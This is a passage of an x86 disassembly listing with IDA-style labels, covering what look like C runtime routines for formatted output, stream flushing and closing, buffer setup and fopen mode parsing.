		pop	ecx
		jz	short loc_419E9C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_419E9C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_419E8D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41A142
; ---------------------------------------------------------------------------

loc_419E8D:				; CODE XREF: sub_419B38+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41A13F
; ---------------------------------------------------------------------------

loc_419E9C:				; CODE XREF: sub_419B38+32Fj
					; sub_419B38+336j
		mov	eax, off_438A78
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_419F38
; ---------------------------------------------------------------------------

loc_419EAA:				; CODE XREF: sub_419B38+29Dj
		jnz	short loc_419EB8
		cmp	bl, 67h
		jnz	short loc_419EB8
		mov	[ebp+var_10], 1

loc_419EB8:				; CODE XREF: sub_419B38+2AAj
					; sub_419B38:loc_419EAAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43ADE0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_419F0A
		cmp	[ebp+var_10], 0
		jnz	short loc_419F0A
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43ADEC
		pop	ecx

loc_419F0A:				; CODE XREF: sub_419B38+3BCj
					; sub_419B38+3C2j
		cmp	bl, 67h
		jnz	short loc_419F21
		test	esi, esi
		jnz	short loc_419F21
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43ADE4
		pop	ecx

loc_419F21:				; CODE XREF: sub_419B38+3D5j
					; sub_419B38+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_419F37
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_419F37:				; CODE XREF: sub_419B38+3F0j
		push	edi

loc_419F38:				; CODE XREF: sub_419B38+36Dj
		call	sub_4177B0
		pop	ecx
		jmp	loc_41A13F
; ---------------------------------------------------------------------------

loc_419F43:				; CODE XREF: sub_419B38+1E9j
		sub	eax, 69h
		jz	loc_41A01D
		sub	eax, 5
		jz	loc_419FF3
		dec	eax
		jz	loc_419FE0
		dec	eax
		jz	short loc_419FB0
		sub	eax, 3
		jz	loc_419D65
		dec	eax
		dec	eax
		jz	loc_41A021
		sub	eax, 3
		jnz	loc_41A142
		mov	[ebp+var_2C], 27h
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------

loc_419F82:				; CODE XREF: sub_419B38+270j
					; sub_419B38+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41A13F
; ---------------------------------------------------------------------------

loc_419F8B:				; CODE XREF: sub_419B38+24Fj
		test	ecx, ecx
		jnz	short loc_419F98
		mov	ecx, off_438A78
		mov	[ebp+var_8], ecx

loc_419F98:				; CODE XREF: sub_419B38+455j
		mov	eax, ecx

loc_419F9A:				; CODE XREF: sub_419B38+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_419FA9
		cmp	byte ptr [eax],	0
		jz	short loc_419FA9
		inc	eax
		jmp	short loc_419F9A
; ---------------------------------------------------------------------------

loc_419FA9:				; CODE XREF: sub_419B38+467j
					; sub_419B38+46Cj
		sub	eax, ecx
		jmp	loc_41A13F
; ---------------------------------------------------------------------------

loc_419FB0:				; CODE XREF: sub_419B38+425j
		mov	[ebp+var_10], 8

loc_419FB7:				; CODE XREF: sub_419B38+201j
		mov	[ebp+var_2C], 7

loc_419FBE:				; CODE XREF: sub_419B38+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41A028
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41A028
; ---------------------------------------------------------------------------

loc_419FE0:				; CODE XREF: sub_419B38+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41A028
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41A028
; ---------------------------------------------------------------------------

loc_419FF3:				; CODE XREF: sub_419B38+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A317
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41A00C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41A011
; ---------------------------------------------------------------------------

loc_41A00C:				; CODE XREF: sub_419B38+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41A011:				; CODE XREF: sub_419B38+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_41A01D:				; CODE XREF: sub_419B38+2F7j
					; sub_419B38+40Ej
		or	[ebp+var_4], 40h

loc_41A021:				; CODE XREF: sub_419B38+432j
		mov	[ebp+var_C], 0Ah

loc_41A028:				; CODE XREF: sub_419B38+491j
					; sub_419B38+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41A03A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A324
		pop	ecx
		jmp	short loc_41A07B
; ---------------------------------------------------------------------------

loc_41A03A:				; CODE XREF: sub_419B38+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41A061
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A056
		call	sub_41A317
		pop	ecx
		movsx	eax, ax

loc_41A053:				; CODE XREF: sub_419B38+527j
					; sub_419B38+539j
		cdq
		jmp	short loc_41A07B
; ---------------------------------------------------------------------------

loc_41A056:				; CODE XREF: sub_419B38+510j
		call	sub_41A317
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41A053
; ---------------------------------------------------------------------------

loc_41A061:				; CODE XREF: sub_419B38+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A073
		call	sub_41A317
		pop	ecx
		jmp	short loc_41A053
; ---------------------------------------------------------------------------

loc_41A073:				; CODE XREF: sub_419B38+531j
		call	sub_41A317
		pop	ecx
		xor	edx, edx

loc_41A07B:				; CODE XREF: sub_419B38+500j
					; sub_419B38+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41A09C
		test	edx, edx
		jg	short loc_41A09C
		jl	short loc_41A08B
		test	eax, eax
		jnb	short loc_41A09C

loc_41A08B:				; CODE XREF: sub_419B38+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41A0A0
; ---------------------------------------------------------------------------

loc_41A09C:				; CODE XREF: sub_419B38+547j
					; sub_419B38+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41A0A0:				; CODE XREF: sub_419B38+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41A0A9
		and	edi, 0

loc_41A0A9:				; CODE XREF: sub_419B38+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41A0B8
		mov	[ebp+var_10], 1
		jmp	short loc_41A0BC
; ---------------------------------------------------------------------------

loc_41A0B8:				; CODE XREF: sub_419B38+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41A0BC:				; CODE XREF: sub_419B38+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41A0C6
		and	[ebp+var_1C], 0

loc_41A0C6:				; CODE XREF: sub_419B38+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41A0CC:				; CODE XREF: sub_419B38+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41A0DC
		mov	eax, esi
		or	eax, edi
		jz	short loc_41A117

loc_41A0DC:				; CODE XREF: sub_419B38+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_418ED0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_418F50
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41A10D
		add	ebx, [ebp+var_2C]

loc_41A10D:				; CODE XREF: sub_419B38+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41A0CC
; ---------------------------------------------------------------------------

loc_41A117:				; CODE XREF: sub_419B38+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41A142
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A135
		test	eax, eax
		jnz	short loc_41A142

loc_41A135:				; CODE XREF: sub_419B38+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41A13F:				; CODE XREF: sub_419B38+35Fj
					; sub_419B38+406j ...
		mov	[ebp+var_C], eax

loc_41A142:				; CODE XREF: sub_419B38+21Bj
					; sub_419B38+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41A240	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41A17A
		test	bh, 1
		jz	short loc_41A15F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41A173
; ---------------------------------------------------------------------------

loc_41A15F:				; CODE XREF: sub_419B38+61Fj
		test	bl, 1
		jz	short loc_41A16A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41A173
; ---------------------------------------------------------------------------

loc_41A16A:				; CODE XREF: sub_419B38+62Aj
		test	bl, 2
		jz	short loc_41A17A
		mov	[ebp+var_16], 20h

loc_41A173:				; CODE XREF: sub_419B38+625j
					; sub_419B38+630j
		mov	[ebp+var_1C], 1

loc_41A17A:				; CODE XREF: sub_419B38+61Aj
					; sub_419B38+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41A19A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A2AE
		add	esp, 10h

loc_41A19A:				; CODE XREF: sub_419B38+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41A2DF
		add	esp, 10h
		test	bl, 8
		jz	short loc_41A1CC
		test	bl, 4
		jnz	short loc_41A1CC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41A2AE
		add	esp, 10h

loc_41A1CC:				; CODE XREF: sub_419B38+67Bj
					; sub_419B38+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41A213
		cmp	[ebp+var_C], 0
		jle	short loc_41A213
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41A1E1:				; CODE XREF: sub_419B38+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41F827
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41A228
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41A2DF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41A1E1
		jmp	short loc_41A228
; ---------------------------------------------------------------------------

loc_41A213:				; CODE XREF: sub_419B38+698j
					; sub_419B38+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41A2DF
		add	esp, 10h

loc_41A228:				; CODE XREF: sub_419B38+6BCj
					; sub_419B38+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41A240 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A2AE
		add	esp, 10h

loc_41A240:				; CODE XREF: sub_419B38+68j
					; sub_419B38+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_419B64

loc_41A251:				; CODE XREF: sub_419B38+1Fj
					; sub_419B38+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419B38	endp

; ---------------------------------------------------------------------------
off_41A259	dd offset loc_419CD7	; DATA XREF: sub_419B38+6Er
		dd offset loc_419BAD	; jump table for switch	statement
		dd offset loc_419BC8
		dd offset loc_419C14
		dd offset loc_419C4B
		dd offset loc_419C53
		dd offset loc_419C88
		dd offset loc_419D1B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A279	proc near		; CODE XREF: sub_419B38+1BDp
					; sub_419B38+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41A292
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41A29D
; ---------------------------------------------------------------------------

loc_41A292:				; CODE XREF: sub_41A279+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_419A23
		pop	ecx
		pop	ecx

loc_41A29D:				; CODE XREF: sub_41A279+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41A2AA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41A2AA:				; CODE XREF: sub_41A279+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A279	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A2AE	proc near		; CODE XREF: sub_419B38+65Ap
					; sub_419B38+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41A2DC
		mov	esi, [esp+8+arg_C]

loc_41A2BF:				; CODE XREF: sub_41A2AE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41A279
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41A2DC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41A2BF

loc_41A2DC:				; CODE XREF: sub_41A2AE+Bj
					; sub_41A2AE+25j
		pop	edi
		pop	esi
		retn
sub_41A2AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A2DF	proc near		; CODE XREF: sub_419B38+670p
					; sub_419B38+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41A313
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41A2F5:				; CODE XREF: sub_41A2DF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41A279
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41A313
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41A2F5

loc_41A313:				; CODE XREF: sub_41A2DF+Cj
					; sub_41A2DF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A2DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A317	proc near		; CODE XREF: sub_419B38+E5p
					; sub_419B38+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41A317	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A324	proc near		; CODE XREF: sub_419B38+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41A324	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A334	proc near		; CODE XREF: sub_419B38+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41A334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A342	proc near		; CODE XREF: sub_417494+17p
					; sub_417494+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41A360
		mov	ecx, off_438A80
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------

loc_41A360:				; CODE XREF: sub_41A342+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_438A80
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41A385
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41A38E
; ---------------------------------------------------------------------------

loc_41A385:				; CODE XREF: sub_41A342+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41A38E:				; CODE XREF: sub_41A342+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41F88F
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A3AE
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A3AE:				; CODE XREF: sub_41A342+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41A3B2:				; CODE XREF: sub_41A342+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41A342	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A3B7	proc near		; CODE XREF: sub_417600+2Ap
					; sub_41FBF2+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_48A8E0
		jnb	loc_41A451
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48A7E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A451
		push	edi
		call	sub_41FB5E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A430
		cmp	edi, 1
		jz	short loc_41A3FE
		cmp	edi, 2
		jnz	short loc_41A414

loc_41A3FE:				; CODE XREF: sub_41A3B7+40j
		push	2
		call	sub_41FB5E
		push	1
		mov	ebp, eax
		call	sub_41FB5E
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A430

loc_41A414:				; CODE XREF: sub_41A3B7+45j
		push	edi
		call	sub_41FB5E
		pop	ecx
		push	eax
		call	dword_423078	; CloseHandle
		test	eax, eax
		jnz	short loc_41A430
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41A432
; ---------------------------------------------------------------------------

loc_41A430:				; CODE XREF: sub_41A3B7+3Bj
					; sub_41A3B7+5Bj ...
		xor	ebp, ebp

loc_41A432:				; CODE XREF: sub_41A3B7+77j
		push	edi
		call	sub_41FAE4
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A44D
		push	ebp
		call	sub_41EC6F
		pop	ecx
		jmp	short loc_41A462
; ---------------------------------------------------------------------------

loc_41A44D:				; CODE XREF: sub_41A3B7+8Bj
		xor	eax, eax
		jmp	short loc_41A465
; ---------------------------------------------------------------------------

loc_41A451:				; CODE XREF: sub_41A3B7+Ej
					; sub_41A3B7+2Fj
		and	dword_4894B0, 0
		mov	dword_4894AC, 9

loc_41A462:				; CODE XREF: sub_41A3B7+94j
		or	eax, 0FFFFFFFFh

loc_41A465:				; CODE XREF: sub_41A3B7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A3B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A46A	proc near		; CODE XREF: sub_417600+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A493
		test	al, 8
		jz	short loc_41A493
		push	dword ptr [esi+8]
		call	sub_41793B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41A493:				; CODE XREF: sub_41A46A+Aj
					; sub_41A46A+Ej
		pop	esi
		retn
sub_41A46A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A495	proc near		; CODE XREF: sub_41A535+2Dp
					; sub_41A535+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A4A7
		push	esi
		call	sub_41A535
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A4A7:				; CODE XREF: sub_41A495+7j
		push	esi
		call	sub_41A4D0
		test	eax, eax
		pop	ecx
		jz	short loc_41A4B7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A4B7:				; CODE XREF: sub_41A495+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A4CC
		push	dword ptr [esi+10h]
		call	sub_41FB9B
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41A4CC:				; CODE XREF: sub_41A495+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A495	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4D0	proc near		; CODE XREF: sub_417600+1Ap
					; sub_418A0E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A51D
		test	ax, 108h
		jz	short loc_41A51D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A51D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41EAC2
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A516
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A51D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A51D
; ---------------------------------------------------------------------------

loc_41A516:				; CODE XREF: sub_41A4D0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41A51D:				; CODE XREF: sub_41A4D0+14j
					; sub_41A4D0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A4D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A52C	proc near		; CODE XREF: sub_41F813p
		push	1
		call	sub_41A535
		pop	ecx
		retn
sub_41A52C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A535	proc near		; CODE XREF: sub_41A495+Ap
					; sub_41A52C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_48A7C0, esi
		jle	short loc_41A593

loc_41A546:				; CODE XREF: sub_41A535+5Cj
		mov	eax, dword_4897A8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A58A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A58A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A570
		push	eax
		call	sub_41A495
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A58A
		inc	ebx
		jmp	short loc_41A58A
; ---------------------------------------------------------------------------

loc_41A570:				; CODE XREF: sub_41A535+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A58A
		test	cl, 2
		jz	short loc_41A58A
		push	eax
		call	sub_41A495
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A58A
		or	edi, eax

loc_41A58A:				; CODE XREF: sub_41A535+1Bj
					; sub_41A535+23j ...
		inc	esi
		cmp	esi, dword_48A7C0
		jl	short loc_41A546

loc_41A593:				; CODE XREF: sub_41A535+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A59E
		mov	eax, edi

loc_41A59E:				; CODE XREF: sub_41A535+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A535	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5A2	proc near		; CODE XREF: sub_417656+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41F748
		test	eax, eax
		pop	ecx
		jz	short loc_41A62B
		cmp	esi, offset dword_43B1B8
		jnz	short loc_41A5C0
		xor	eax, eax
		jmp	short loc_41A5CB
; ---------------------------------------------------------------------------

loc_41A5C0:				; CODE XREF: sub_41A5A2+18j
		cmp	esi, offset dword_43B1D8
		jnz	short loc_41A62B
		push	1
		pop	eax

loc_41A5CB:				; CODE XREF: sub_41A5A2+1Cj
		inc	dword_489670
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A62B
		cmp	dword_489504[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:489504h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A611
		push	ebx
		call	sub_417889
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A611
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A61E
; ---------------------------------------------------------------------------

loc_41A611:				; CODE XREF: sub_41A5A2+4Dj
					; sub_41A5A2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_41A61E:				; CODE XREF: sub_41A5A2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A62B:				; CODE XREF: sub_41A5A2+10j
					; sub_41A5A2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A5A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A62F	proc near		; CODE XREF: sub_417656+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A659
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A66A
		push	esi
		call	sub_41A4D0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A659:				; CODE XREF: sub_41A62F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A66A
		push	eax
		call	sub_41A4D0
		pop	ecx

loc_41A66A:				; CODE XREF: sub_41A62F+10j
					; sub_41A62F+32j
		pop	esi
		retn
sub_41A62F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A66C	proc near		; CODE XREF: sub_417688+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_489678
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41A6A5
		cmp	al, 72h
		jz	short loc_41A69E
		cmp	al, 77h
		jnz	loc_41A7B9
		mov	ecx, 301h
		jmp	short loc_41A6AA
; ---------------------------------------------------------------------------

loc_41A69E:				; CODE XREF: sub_41A66C+21j
		xor	ecx, ecx
		or	esi, 1
